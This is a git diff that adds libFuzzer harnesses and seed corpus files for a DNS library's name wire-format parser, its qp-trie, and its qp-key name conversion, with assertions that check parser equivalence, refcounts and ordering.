+	dns_name_t *old_name = dns_fixedname_initname(&old_fixed);
+	uint8_t *new_offsets;
+	uint8_t *old_offsets;
+	dns_decompress_t dctx = DNS_DECOMPRESS_PERMITTED;
+	isc_buffer_t new_buf;
+	isc_buffer_t old_buf;
+
+	/*
+	 * Output buffers may be partially used or undersized.
+	 */
+	if (size > 0) {
+		uint8_t add = *data++;
+		size--;
+		isc_buffer_add(&new_fixed.buffer, add);
+		isc_buffer_add(&old_fixed.buffer, add);
+	}
+
+	/*
+	 * timeout faster if we hit a pointer loop
+	 */
+	alarm(1);
+
+	/*
+	 * We shift forward by half the input data to make an area
+	 * that pointers can refer back to.
+	 */
+
+	isc_buffer_constinit(&new_buf, data, size);
+	isc_buffer_add(&new_buf, size);
+	isc_buffer_setactive(&new_buf, size);
+	isc_buffer_forward(&new_buf, size / 2);
+	new_result = dns_name_fromwire(new_name, &new_buf, dctx, NULL);
+
+	isc_buffer_constinit(&old_buf, data, size);
+	isc_buffer_add(&old_buf, size);
+	isc_buffer_setactive(&old_buf, size);
+	isc_buffer_forward(&old_buf, size / 2);
+	old_result = old_name_fromwire(old_name, &old_buf, dctx, 0, NULL);
+
+	REQUIRE(new_result == old_result);
+	REQUIRE(dns_name_equal(new_name, old_name));
+	REQUIRE(new_name->labels == old_name->labels);
+
+	new_offsets = new_name->offsets;
+	old_offsets = old_name->offsets;
+	REQUIRE(new_offsets != NULL && old_offsets != NULL);
+	REQUIRE(memcmp(new_offsets, old_offsets, old_name->labels) == 0);
+
+	REQUIRE(new_fixed.buffer.current == old_fixed.buffer.current);
+	REQUIRE(new_fixed.buffer.active == old_fixed.buffer.active);
+	REQUIRE(new_fixed.buffer.used == old_fixed.buffer.used);
+	REQUIRE(new_fixed.buffer.length == old_fixed.buffer.length);
+
+	REQUIRE(new_buf.base == old_buf.base);
+	REQUIRE(new_buf.current == old_buf.current);
+	REQUIRE(new_buf.active == old_buf.active);
+	REQUIRE(new_buf.used == old_buf.used);
+	REQUIRE(new_buf.length == old_buf.length);
+
+	return (0);
+}
diff --git a/fuzz/dns_name_fromwire.in/00b28ff06b788b9b67c6b259800f404f9f3761fd b/fuzz/dns_name_fromwire.in/00b28ff06b788b9b67c6b259800f404f9f3761fd
new file mode 100644
index 0000000000..59f144ee09
Binary files /dev/null and b/fuzz/dns_name_fromwire.in/00b28ff06b788b9b67c6b259800f404f9f3761fd differ
diff --git a/fuzz/dns_name_fromwire.in/02440c9e09b9ccb3c36d1ae3b1dc395d39dd2e61 b/fuzz/dns_name_fromwire.in/02440c9e09b9ccb3c36d1ae3b1dc395d39dd2e61
new file mode 100644
index 0000000000..fd53418a00
Binary files /dev/null and b/fuzz/dns_name_fromwire.in/02440c9e09b9ccb3c36d1ae3b1dc395d39dd2e61 differ
diff --git a/fuzz/dns_name_fromwire.in/02a01a03cc76d29a0d3f819e9f6e95266f4ee4eb b/fuzz/dns_name_fromwire.in/02a01a03cc76d29a0d3f819e9f6e95266f4ee4eb
new file mode 100644
index 0000000000..93a3f273a5
Binary files /dev/null and b/fuzz/dns_name_fromwire.in/02a01a03cc76d29a0d3f819e9f6e95266f4ee4eb differ
diff --git a/fuzz/dns_name_fromwire.in/03de4865464d9fee5cf614c2e8196cb0246b60f3 b/fuzz/dns_name_fromwire.in/03de4865464d9fee5cf614c2e8196cb0246b60f3
new file mode 100644
index 0000000000..0231663c06
Binary files /dev/null and b/fuzz/dns_name_fromwire.in/03de4865464d9fee5cf614c2e8196cb0246b60f3 differ
diff --git a/fuzz/dns_name_fromwire.in/0c932286228aafdb4bbcf9d39f4554d814e7c1cb b/fuzz/dns_name_fromwire.in/0c932286228aafdb4bbcf9d39f4554d814e7c1cb
new file mode 100644
index 0000000000..b40dc8de68
Binary files /dev/null and b/fuzz/dns_name_fromwire.in/0c932286228aafdb4bbcf9d39f4554d814e7c1cb differ
diff --git a/fuzz/dns_name_fromwire.in/12248b2bb3063f4f6aca8ec227aa26f24299e53b b/fuzz/dns_name_fromwire.in/12248b2bb3063f4f6aca8ec227aa26f24299e53b
new file mode 100644
index 0000000000..a8fd239600
Binary files /dev/null and b/fuzz/dns_name_fromwire.in/12248b2bb3063f4f6aca8ec227aa26f24299e53b differ
diff --git a/fuzz/dns_name_fromwire.in/2c17e4e73e0ee81d3ed7279f3fbc51d35e8837a1 b/fuzz/dns_name_fromwire.in/2c17e4e73e0ee81d3ed7279f3fbc51d35e8837a1
new file mode 100644
index 0000000000..7fe02eea83
Binary files /dev/null and b/fuzz/dns_name_fromwire.in/2c17e4e73e0ee81d3ed7279f3fbc51d35e8837a1 differ
diff --git a/fuzz/dns_name_fromwire.in/302f0fe41e58a99c91f22062cda18d4683dc702f b/fuzz/dns_name_fromwire.in/302f0fe41e58a99c91f22062cda18d4683dc702f
new file mode 100644
index 0000000000..0eba2453db
Binary files /dev/null and b/fuzz/dns_name_fromwire.in/302f0fe41e58a99c91f22062cda18d4683dc702f differ
diff --git a/fuzz/dns_name_fromwire.in/43f90bb183e988637abbcbc50be4a89ebff60d9a b/fuzz/dns_name_fromwire.in/43f90bb183e988637abbcbc50be4a89ebff60d9a
new file mode 100644
index 0000000000..1b7df00da8
Binary files /dev/null and b/fuzz/dns_name_fromwire.in/43f90bb183e988637abbcbc50be4a89ebff60d9a differ
diff --git a/fuzz/dns_name_fromwire.in/448daf1db0846c67ecb7a533361647cb41e5dce2 b/fuzz/dns_name_fromwire.in/448daf1db0846c67ecb7a533361647cb41e5dce2
new file mode 100644
index 0000000000..b3acc83f72
Binary files /dev/null and b/fuzz/dns_name_fromwire.in/448daf1db0846c67ecb7a533361647cb41e5dce2 differ
diff --git a/fuzz/dns_name_fromwire.in/477cdb78a23d07e2fc8103c4c79c9a545bcec06b b/fuzz/dns_name_fromwire.in/477cdb78a23d07e2fc8103c4c79c9a545bcec06b
new file mode 100644
index 0000000000..3c48f31c4e
Binary files /dev/null and b/fuzz/dns_name_fromwire.in/477cdb78a23d07e2fc8103c4c79c9a545bcec06b differ
diff --git a/fuzz/dns_name_fromwire.in/4b345f6450981c1ed938081331eeabd03598cb20 b/fuzz/dns_name_fromwire.in/4b345f6450981c1ed938081331eeabd03598cb20
new file mode 100644
index 0000000000..863a3768b2
Binary files /dev/null and b/fuzz/dns_name_fromwire.in/4b345f6450981c1ed938081331eeabd03598cb20 differ
diff --git a/fuzz/dns_name_fromwire.in/5821576d8de31746675cc0ea7f9e652438070dfe b/fuzz/dns_name_fromwire.in/5821576d8de31746675cc0ea7f9e652438070dfe
new file mode 100644
index 0000000000..6a0ea0dca8
Binary files /dev/null and b/fuzz/dns_name_fromwire.in/5821576d8de31746675cc0ea7f9e652438070dfe differ
diff --git a/fuzz/dns_name_fromwire.in/608fa82ab128dfb43c9a064bfab677d9b5f3f72b b/fuzz/dns_name_fromwire.in/608fa82ab128dfb43c9a064bfab677d9b5f3f72b
new file mode 100644
index 0000000000..f52278dae7
--- /dev/null
+++ b/fuzz/dns_name_fromwire.in/608fa82ab128dfb43c9a064bfab677d9b5f3f72b
@@ -0,0 +1 @@
+Š0
\ No newline at end of file
diff --git a/fuzz/dns_name_fromwire.in/61c70af9c1b0588393243703eb472271290f88eb b/fuzz/dns_name_fromwire.in/61c70af9c1b0588393243703eb472271290f88eb
new file mode 100644
index 0000000000..84016db6e7
Binary files /dev/null and b/fuzz/dns_name_fromwire.in/61c70af9c1b0588393243703eb472271290f88eb differ
diff --git a/fuzz/dns_name_fromwire.in/680357a1752af34a7f882cced6b1e5fd8ecc4bcc b/fuzz/dns_name_fromwire.in/680357a1752af34a7f882cced6b1e5fd8ecc4bcc
new file mode 100644
index 0000000000..c10237751f
Binary files /dev/null and b/fuzz/dns_name_fromwire.in/680357a1752af34a7f882cced6b1e5fd8ecc4bcc differ
diff --git a/fuzz/dns_name_fromwire.in/69abe6811b3437087b53d4c4e9157d4ba7a0890b b/fuzz/dns_name_fromwire.in/69abe6811b3437087b53d4c4e9157d4ba7a0890b
new file mode 100644
index 0000000000..84f94d7345
Binary files /dev/null and b/fuzz/dns_name_fromwire.in/69abe6811b3437087b53d4c4e9157d4ba7a0890b differ
diff --git a/fuzz/dns_name_fromwire.in/69d86c5a071a2d76679d54da225e955c35c40db1 b/fuzz/dns_name_fromwire.in/69d86c5a071a2d76679d54da225e955c35c40db1
new file mode 100644
index 0000000000..f5c9b43921
Binary files /dev/null and b/fuzz/dns_name_fromwire.in/69d86c5a071a2d76679d54da225e955c35c40db1 differ
diff --git a/fuzz/dns_name_fromwire.in/6cd63cd014fa252d9f5e62129e05dc6cbd75a7e3 b/fuzz/dns_name_fromwire.in/6cd63cd014fa252d9f5e62129e05dc6cbd75a7e3
new file mode 100644
index 0000000000..3c3d30aeee
Binary files /dev/null and b/fuzz/dns_name_fromwire.in/6cd63cd014fa252d9f5e62129e05dc6cbd75a7e3 differ
diff --git a/fuzz/dns_name_fromwire.in/7c20e8ac688f92b55099a7f63ff2a4f4bcd7704a b/fuzz/dns_name_fromwire.in/7c20e8ac688f92b55099a7f63ff2a4f4bcd7704a
new file mode 100644
index 0000000000..89c5f62041
--- /dev/null
+++ b/fuzz/dns_name_fromwire.in/7c20e8ac688f92b55099a7f63ff2a4f4bcd7704a
@@ -0,0 +1 @@
+î0õw
\ No newline at end of file
diff --git a/fuzz/dns_name_fromwire.in/7d8a23740ae15d7d3dfde25ad1538ae9b9d52265 b/fuzz/dns_name_fromwire.in/7d8a23740ae15d7d3dfde25ad1538ae9b9d52265
new file mode 100644
index 0000000000..7bd539e91f
Binary files /dev/null and b/fuzz/dns_name_fromwire.in/7d8a23740ae15d7d3dfde25ad1538ae9b9d52265 differ
diff --git a/fuzz/dns_name_fromwire.in/88188ee25030661f21a4dacca02caeb7eff34235 b/fuzz/dns_name_fromwire.in/88188ee25030661f21a4dacca02caeb7eff34235
new file mode 100644
index 0000000000..3caa4b67c1
Binary files /dev/null and b/fuzz/dns_name_fromwire.in/88188ee25030661f21a4dacca02caeb7eff34235 differ
diff --git a/fuzz/dns_name_fromwire.in/93dccf807dc4df3bfc1711ef3ad3bbd65a7d8c67 b/fuzz/dns_name_fromwire.in/93dccf807dc4df3bfc1711ef3ad3bbd65a7d8c67
new file mode 100644
index 0000000000..bf6998315d
--- /dev/null
+++ b/fuzz/dns_name_fromwire.in/93dccf807dc4df3bfc1711ef3ad3bbd65a7d8c67
@@ -0,0 +1 @@
+0
\ No newline at end of file
diff --git a/fuzz/dns_name_fromwire.in/955cad73af85bdac5a701aea20a086c75585ca74 b/fuzz/dns_name_fromwire.in/955cad73af85bdac5a701aea20a086c75585ca74
new file mode 100644
index 0000000000..1b30f7262a
Binary files /dev/null and b/fuzz/dns_name_fromwire.in/955cad73af85bdac5a701aea20a086c75585ca74 differ
diff --git a/fuzz/dns_name_fromwire.in/9a279b27d765ca2eccc67e1fc8bafb0fa8702208 b/fuzz/dns_name_fromwire.in/9a279b27d765ca2eccc67e1fc8bafb0fa8702208
new file mode 100644
index 0000000000..5f45b63295
--- /dev/null
+++ b/fuzz/dns_name_fromwire.in/9a279b27d765ca2eccc67e1fc8bafb0fa8702208
@@ -0,0 +1,2 @@
+„˙
+‹
\ No newline at end of file
diff --git a/fuzz/dns_name_fromwire.in/9d30975bf630a3203ed71154257ebcfc19d04067 b/fuzz/dns_name_fromwire.in/9d30975bf630a3203ed71154257ebcfc19d04067
new file mode 100644
index 0000000000..4c93dbac73
Binary files /dev/null and b/fuzz/dns_name_fromwire.in/9d30975bf630a3203ed71154257ebcfc19d04067 differ
diff --git a/fuzz/dns_name_fromwire.in/9feb4af1c2bb4444e9417099b21c6b25f7221dee b/fuzz/dns_name_fromwire.in/9feb4af1c2bb4444e9417099b21c6b25f7221dee
new file mode 100644
index 0000000000..dd011fc516
Binary files /dev/null and b/fuzz/dns_name_fromwire.in/9feb4af1c2bb4444e9417099b21c6b25f7221dee differ
diff --git a/fuzz/dns_name_fromwire.in/a3f75fec735667f1c1218f53e073f25586dc0813 b/fuzz/dns_name_fromwire.in/a3f75fec735667f1c1218f53e073f25586dc0813
new file mode 100644
index 0000000000..620b966a8e
Binary files /dev/null and b/fuzz/dns_name_fromwire.in/a3f75fec735667f1c1218f53e073f25586dc0813 differ
diff --git a/fuzz/dns_name_fromwire.in/b473a861dafebb3cd6ca6b92609da9e40eeea68e b/fuzz/dns_name_fromwire.in/b473a861dafebb3cd6ca6b92609da9e40eeea68e
new file mode 100644
index 0000000000..ced1f37950
Binary files /dev/null and b/fuzz/dns_name_fromwire.in/b473a861dafebb3cd6ca6b92609da9e40eeea68e differ
diff --git a/fuzz/dns_name_fromwire.in/b8811cd9f785b9fb458236875fda90d048383689 b/fuzz/dns_name_fromwire.in/b8811cd9f785b9fb458236875fda90d048383689
new file mode 100644
index 0000000000..018d57fdf8
Binary files /dev/null and b/fuzz/dns_name_fromwire.in/b8811cd9f785b9fb458236875fda90d048383689 differ
diff --git a/fuzz/dns_name_fromwire.in/bf546f247bb7a3672a04bb4c9e3b5049f981d435 b/fuzz/dns_name_fromwire.in/bf546f247bb7a3672a04bb4c9e3b5049f981d435
new file mode 100644
index 0000000000..c2b5898255
Binary files /dev/null and b/fuzz/dns_name_fromwire.in/bf546f247bb7a3672a04bb4c9e3b5049f981d435 differ
diff --git a/fuzz/dns_name_fromwire.in/bf7b68e9cc0467f7bbbfe1dc0dfd7c3124b3695c b/fuzz/dns_name_fromwire.in/bf7b68e9cc0467f7bbbfe1dc0dfd7c3124b3695c
new file mode 100644
index 0000000000..081d7f19ce
--- /dev/null
+++ b/fuzz/dns_name_fromwire.in/bf7b68e9cc0467f7bbbfe1dc0dfd7c3124b3695c
@@ -0,0 +1 @@
+õ
\ No newline at end of file
diff --git a/fuzz/dns_name_fromwire.in/bfb829dd666f7fb4c6d9ae55f58503967cf1b53b b/fuzz/dns_name_fromwire.in/bfb829dd666f7fb4c6d9ae55f58503967cf1b53b
new file mode 100644
index 0000000000..c2b8c7fc7d
Binary files /dev/null and b/fuzz/dns_name_fromwire.in/bfb829dd666f7fb4c6d9ae55f58503967cf1b53b differ
diff --git a/fuzz/dns_name_fromwire.in/c351ad42ccc7485a0ad6e1ae8cc07d66ee9b045a b/fuzz/dns_name_fromwire.in/c351ad42ccc7485a0ad6e1ae8cc07d66ee9b045a
new file mode 100644
index 0000000000..82628ab41a
Binary files /dev/null and b/fuzz/dns_name_fromwire.in/c351ad42ccc7485a0ad6e1ae8cc07d66ee9b045a differ
diff --git a/fuzz/dns_name_fromwire.in/cc6cba815d062e0e250463aad2113fdcafd48571 b/fuzz/dns_name_fromwire.in/cc6cba815d062e0e250463aad2113fdcafd48571
new file mode 100644
index 0000000000..3fe9467ac2
Binary files /dev/null and b/fuzz/dns_name_fromwire.in/cc6cba815d062e0e250463aad2113fdcafd48571 differ
diff --git a/fuzz/dns_name_fromwire.in/db6cca49e957261d7a262fbf6dafcac01353f1e4 b/fuzz/dns_name_fromwire.in/db6cca49e957261d7a262fbf6dafcac01353f1e4
new file mode 100644
index 0000000000..ee55ada55d
Binary files /dev/null and b/fuzz/dns_name_fromwire.in/db6cca49e957261d7a262fbf6dafcac01353f1e4 differ
diff --git a/fuzz/dns_name_fromwire.in/de4e7188e5540bd15eb83ddb5a784c6dc35d8d94 b/fuzz/dns_name_fromwire.in/de4e7188e5540bd15eb83ddb5a784c6dc35d8d94
new file mode 100644
index 0000000000..8a8fa78f91
Binary files /dev/null and b/fuzz/dns_name_fromwire.in/de4e7188e5540bd15eb83ddb5a784c6dc35d8d94 differ
diff --git a/fuzz/dns_name_fromwire.in/df58248c414f342c81e056b40bee12d17a08bf61 b/fuzz/dns_name_fromwire.in/df58248c414f342c81e056b40bee12d17a08bf61
new file mode 100644
index 0000000000..f59ec20aab
--- /dev/null
+++ b/fuzz/dns_name_fromwire.in/df58248c414f342c81e056b40bee12d17a08bf61
@@ -0,0 +1 @@
+*
\ No newline at end of file
diff --git a/fuzz/dns_name_fromwire.in/df7467bb9625092ba9d23c0d8e4f29c7f4e23dd1 b/fuzz/dns_name_fromwire.in/df7467bb9625092ba9d23c0d8e4f29c7f4e23dd1
new file mode 100644
index 0000000000..25daf0da97
Binary files /dev/null and b/fuzz/dns_name_fromwire.in/df7467bb9625092ba9d23c0d8e4f29c7f4e23dd1 differ
diff --git a/fuzz/dns_name_fromwire.in/e05d045edfa8ebe33c73b6459e7d704e0c958c74 b/fuzz/dns_name_fromwire.in/e05d045edfa8ebe33c73b6459e7d704e0c958c74
new file mode 100644
index 0000000000..977463bf06
Binary files /dev/null and b/fuzz/dns_name_fromwire.in/e05d045edfa8ebe33c73b6459e7d704e0c958c74 differ
diff --git a/fuzz/dns_name_fromwire.in/e23b6fdeadc0379b095bc1ffb8a1d2101ebe76b1 b/fuzz/dns_name_fromwire.in/e23b6fdeadc0379b095bc1ffb8a1d2101ebe76b1
new file mode 100644
index 0000000000..d07176af18
Binary files /dev/null and b/fuzz/dns_name_fromwire.in/e23b6fdeadc0379b095bc1ffb8a1d2101ebe76b1 differ
diff --git a/fuzz/dns_name_fromwire.in/e333716351a0ded128bbb67ba46b5017a16ae6bf b/fuzz/dns_name_fromwire.in/e333716351a0ded128bbb67ba46b5017a16ae6bf
new file mode 100644
index 0000000000..fc5aa04774
Binary files /dev/null and b/fuzz/dns_name_fromwire.in/e333716351a0ded128bbb67ba46b5017a16ae6bf differ
diff --git a/fuzz/dns_name_fromwire.in/e52912805d2e9212d53a46426e160813124be117 b/fuzz/dns_name_fromwire.in/e52912805d2e9212d53a46426e160813124be117
new file mode 100644
index 0000000000..f4930c533d
Binary files /dev/null and b/fuzz/dns_name_fromwire.in/e52912805d2e9212d53a46426e160813124be117 differ
diff --git a/fuzz/dns_name_fromwire.in/f4a59b7257dbd0777e57e6e25689d374f4d771bc b/fuzz/dns_name_fromwire.in/f4a59b7257dbd0777e57e6e25689d374f4d771bc
new file mode 100644
index 0000000000..dff8904500
Binary files /dev/null and b/fuzz/dns_name_fromwire.in/f4a59b7257dbd0777e57e6e25689d374f4d771bc differ
diff --git a/fuzz/dns_name_fromwire.in/fc712b19cbed4a8b4db3226dfbfdf3fb7be7690a b/fuzz/dns_name_fromwire.in/fc712b19cbed4a8b4db3226dfbfdf3fb7be7690a
new file mode 100644
index 0000000000..45701d0ddf
Binary files /dev/null and b/fuzz/dns_name_fromwire.in/fc712b19cbed4a8b4db3226dfbfdf3fb7be7690a differ
diff --git a/fuzz/dns_name_fromwire.in/fda8ce1c09f3e385a5c0798f9ee158a4ca7d449f b/fuzz/dns_name_fromwire.in/fda8ce1c09f3e385a5c0798f9ee158a4ca7d449f
new file mode 100644
index 0000000000..9774a8946e
Binary files /dev/null and b/fuzz/dns_name_fromwire.in/fda8ce1c09f3e385a5c0798f9ee158a4ca7d449f differ
diff --git a/fuzz/dns_name_fromwire.in/fe38c27050137b9ce57189c681beb2b59a539a98 b/fuzz/dns_name_fromwire.in/fe38c27050137b9ce57189c681beb2b59a539a98
new file mode 100644
index 0000000000..2cf643e77e
Binary files /dev/null and b/fuzz/dns_name_fromwire.in/fe38c27050137b9ce57189c681beb2b59a539a98 differ
diff --git a/fuzz/dns_qp.c b/fuzz/dns_qp.c
new file mode 100644
index 0000000000..416fd2c849
--- /dev/null
+++ b/fuzz/dns_qp.c
@@ -0,0 +1,223 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <assert.h>
+#include <err.h>
+#include <stdbool.h>
+#include <stdint.h>
+
+#include <isc/random.h>
+#include <isc/refcount.h>
+#include <isc/rwlock.h>
+#include <isc/urcu.h>
+#include <isc/util.h>
+
+#include <dns/qp.h>
+#include <dns/types.h>
+
+#include "fuzz.h"
+#include "qp_p.h"
+
+#include <tests/qp.h>
+
+bool debug = false;
+
+#if 0
+#define TRACE(...) warnx(__VA_ARGS__)
+#else
+#define TRACE(...)
+#endif
+
+#if 0
+#define ASSERT(p)                                               \
+	do {                                                    \
+		warnx("%s:%d: %s (%s)", __func__, __LINE__, #p, \
+		      (p) ? "OK" : "FAIL");                     \
+		ok = ok && (p);                                 \
+	} while (0)
+#else
+#define ASSERT(p) assert(p)
+#endif
+
+static struct {
+	uint32_t refcount;
+	bool exists;
+	uint8_t len;
+	dns_qpkey_t key;
+	dns_qpkey_t ascii;
+} item[256 * 256 / 4];
+
+static void
+fuzz_attach(void *ctx, void *pval, uint32_t ival) {
+	assert(ctx == NULL);
+	assert(pval == &item[ival]);
+	item[ival].refcount++;
+}
+
+static void
+fuzz_detach(void *ctx, void *pval, uint32_t ival) {
+	assert(ctx == NULL);
+	assert(pval == &item[ival]);
+	item[ival].refcount--;
+}
+
+static size_t
+fuzz_makekey(dns_qpkey_t key, void *ctx, void *pval, uint32_t ival) {
+	assert(ctx == NULL);
+	assert(pval == &item[ival]);
+	memmove(key, item[ival].key, item[ival].len);
+	return (item[ival].len);
+}
+
+static void
+fuzz_triename(void *ctx, char *buf, size_t size) {
+	assert(ctx == NULL);
+	strlcpy(buf, "fuzz", size);
+}
+
+const dns_qpmethods_t fuzz_methods = {
+	fuzz_attach,
+	fuzz_detach,
+	fuzz_makekey,
+	fuzz_triename,
+};
+
+static uint8_t
+random_byte(void) {
+	return (isc_random_uniform(SHIFT_OFFSET - SHIFT_NOBYTE) + SHIFT_NOBYTE);
+}
+
+int
+LLVMFuzzerInitialize(int *argc, char ***argv) {
+	UNUSED(argc);
+	UNUSED(argv);
+
+	for (size_t i = 0; i < ARRAY_SIZE(item); i++) {
+		size_t len = isc_random_uniform(100) + 16;
+		item[i].len = len;
+		for (size_t off = 0; off < len; off++) {
+			item[i].key[off] = random_byte();
+		}
+		memmove(item[i].ascii, item[i].key, len);
+		qp_test_keytoascii(item[i].ascii, len);
+	}
+
+	return (0);
+}
+
+int
+LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
+	isc_result_t result;
+
+	TRACE("------------------------------------------------");
+
+	isc_mem_t *mctx = NULL;
+	isc_mem_create(&mctx);
+	isc_mem_setdestroycheck(mctx, true);
+
+	dns_qp_t *qp = NULL;
+	dns_qp_create(mctx, &fuzz_methods, NULL, &qp);
+
+	/* avoid overrun */
+	size = size & ~1;
+
+	size_t count = 0;
+
+	for (size_t in = 0; in < size; in += 2) {
+		size_t what = data[in] + data[in + 1] * 256;
+		size_t i = (what / 4) % (count * 2 + 2);
+		bool exists = item[i].exists;
+		uint32_t refcount = item[i].refcount;
+		bool ok = true;
+		if (what & 2) {
+			void *pval = NULL;
+			uint32_t ival = ~0U;
+			result = dns_qp_getkey(qp, item[i].key, item[i].len,
+					       &pval, &ival);
+			TRACE("count %zu get %s %zu >%s<", count,
+			      isc_result_toid(result), i, item[i].ascii);
+			if (result == ISC_R_SUCCESS) {
+				ASSERT(pval == &item[i]);
+				ASSERT(ival == i);
+				ASSERT(item[i].refcount == 1);
+				ASSERT(item[i].exists == true);
+			} else if (result == ISC_R_NOTFOUND) {
+				ASSERT(pval == NULL);
+				ASSERT(ival == ~0U);
+				ASSERT(item[i].refcount == 0);
+				ASSERT(item[i].exists == false);
+			} else {
+				UNREACHABLE();
+			}
+		} else if (what & 1) {
+			result = dns_qp_insert(qp, &item[i], i);
+			TRACE("count %zu ins %s %zu >%s<", count,
+			      isc_result_toid(result), i, item[i].ascii);
+			if (result == ISC_R_SUCCESS) {
+				item[i].exists = true;
+				ASSERT(exists == false);
+				ASSERT(refcount == 0);
+				ASSERT(item[i].refcount == 1);
+				count += 1;
+				ASSERT(qp->leaf_count == count);
+			} else if (result == ISC_R_EXISTS) {
+				ASSERT(exists == true);
+				ASSERT(refcount == 1);
+				ASSERT(item[i].refcount == 1);
+				ASSERT(qp->leaf_count == count);
+			} else {
+				UNREACHABLE();
+			}
+		} else {
+			result = dns_qp_deletekey(qp, item[i].key, item[i].len,
+						  NULL, NULL);
+			TRACE("count %zu del %s %zu >%s<", count,
+			      isc_result_toid(result), i, item[i].ascii);
+			if (result == ISC_R_SUCCESS) {
+				item[i].exists = false;
+				ASSERT(exists == true);
+				ASSERT(refcount == 1);
+				ASSERT(item[i].refcount == 0);
+				count -= 1;
+				ASSERT(qp->leaf_count == count);
+			} else if (result == ISC_R_NOTFOUND) {
+				ASSERT(exists == false);
+				ASSERT(refcount == 0);
+				ASSERT(item[i].refcount == 0);
+				ASSERT(qp->leaf_count == count);
+			} else {
+				UNREACHABLE();
+			}
+		}
+		if (!ok) {
+			qp_test_dumpqp(qp);
+			qp_test_dumptrie(qp);
+		}
+		assert(ok);
+	}
+
+	for (size_t i = 0; i < ARRAY_SIZE(item); i++) {
+		assert(item[i].exists == (item[i].refcount != 0));
+	}
+
+	dns_qp_destroy(&qp);
+	isc_mem_destroy(&mctx);
+	isc_mem_checkdestroyed(stderr);
+
+	for (size_t i = 0; i < ARRAY_SIZE(item); i++) {
+		item[i].exists = false;
+		assert(item[i].refcount == 0);
+	}
+
+	return (0);
+}
diff --git a/fuzz/dns_qp.in/bytecodes b/fuzz/dns_qp.in/bytecodes
new file mode 100644
index 0000000000..a9304a2069
Binary files /dev/null and b/fuzz/dns_qp.in/bytecodes differ
diff --git a/fuzz/dns_qpkey_name.c b/fuzz/dns_qpkey_name.c
new file mode 100644
index 0000000000..ed9dd16b3c
--- /dev/null
+++ b/fuzz/dns_qpkey_name.c
@@ -0,0 +1,77 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <assert.h>
+#include <stddef.h>
+#include <stdint.h>
+#include <string.h>
+
+#include <isc/buffer.h>
+#include <isc/util.h>
+
+#include <dns/compress.h>
+#include <dns/fixedname.h>
+#include <dns/name.h>
+#include <dns/qp.h>
+
+#include "fuzz.h"
+
+#include <tests/qp.h>
+
+bool debug = false;
+
+int
+LLVMFuzzerInitialize(int *argc, char ***argv) {
+	UNUSED(argc);
+	UNUSED(argv);
+	return (0);
+}
+
+int
+LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
+	dns_fixedname_t fixedin, fixedout, fixedcmp;
+	dns_name_t *namein, *nameout, *namecmp;
+	isc_buffer_t buf;
+	dns_qpkey_t key, cmp;
+
+	namein = dns_fixedname_initname(&fixedin);
+	nameout = dns_fixedname_initname(&fixedout);
+	namecmp = dns_fixedname_initname(&fixedcmp);
+
+	isc_buffer_constinit(&buf, data, size);
+	isc_buffer_add(&buf, size);
+	isc_buffer_setactive(&buf, size);
+
+	CHECK(dns_name_fromwire(namein, &buf, DNS_DECOMPRESS_NEVER, NULL));
+
+	/* verify round-trip conversion of first name */
+	size_t keylen = dns_qpkey_fromname(key, namein);
+	qp_test_keytoname(key, keylen, nameout);
+
+	assert(dns_name_equal(namein, nameout));
+
+	/* is there a second name? */
+	CHECK(dns_name_fromwire(namecmp, &buf, DNS_DECOMPRESS_NEVER, NULL));
+
+	size_t cmplen = dns_qpkey_fromname(cmp, namecmp);
+	size_t len = ISC_MIN(keylen, cmplen);
+
+	int namerel = dns_name_compare(namein, namecmp);
+	int keyrel = memcmp(key, cmp, len + 1);
+
+	assert((namerel < 0) == (keyrel < 0));
+	assert((namerel == 0) == (keyrel == 0));
+	assert((namerel > 0) == (keyrel > 0));
+
+	return (0);
+}
diff --git a/fuzz/dns_qpkey_name.in/021976d644b75207ffa3389e7ab30f5555f74dda b/fuzz/dns_qpkey_name.in/021976d644b75207ffa3389e7ab30f5555f74dda
new file mode 100644
index 0000000000..defd440ccf
Binary files /dev/null and b/fuzz/dns_qpkey_name.in/021976d644b75207ffa3389e7ab30f5555f74dda differ
diff --git a/fuzz/dns_qpkey_name.in/13a8fb7162940fd0eeeb7597e47d6a95041f3396 b/fuzz/dns_qpkey_name.in/13a8fb7162940fd0eeeb7597e47d6a95041f3396
new file mode 100644
index 0000000000..8f2ab8a165
Binary files /dev/null and b/fuzz/dns_qpkey_name.in/13a8fb7162940fd0eeeb7597e47d6a95041f3396 differ
diff --git a/fuzz/dns_qpkey_name.in/2149aa9e07dda9bbf502e088d8d0a38e8fb94f2e b/fuzz/dns_qpkey_name.in/2149aa9e07dda9bbf502e088d8d0a38e8fb94f2e
new file mode 100644
index 0000000000..e7754cae5a
--- /dev/null
+++ b/fuzz/dns_qpkey_name.in/2149aa9e07dda9bbf502e088d8d0a38e8fb94f2e
@@ -0,0 +1 @@
+Ā
\ No newline at end of file
diff --git a/fuzz/dns_qpkey_name.in/30a5288c64e9c856005fceb8b9155f8854d7368e b/fuzz/dns_qpkey_name.in/30a5288c64e9c856005fceb8b9155f8854d7368e
new file mode 100644
index 0000000000..0767ba703e
Binary files /dev/null and b/fuzz/dns_qpkey_name.in/30a5288c64e9c856005fceb8b9155f8854d7368e differ
diff --git a/fuzz/dns_qpkey_name.in/404a051635872ce8de8846ad112a96cb72e13fe5 b/fuzz/dns_qpkey_name.in/404a051635872ce8de8846ad112a96cb72e13fe5
new file mode 100644
index 0000000000..8c513d56fd
Binary files /dev/null and b/fuzz/dns_qpkey_name.in/404a051635872ce8de8846ad112a96cb72e13fe5 differ
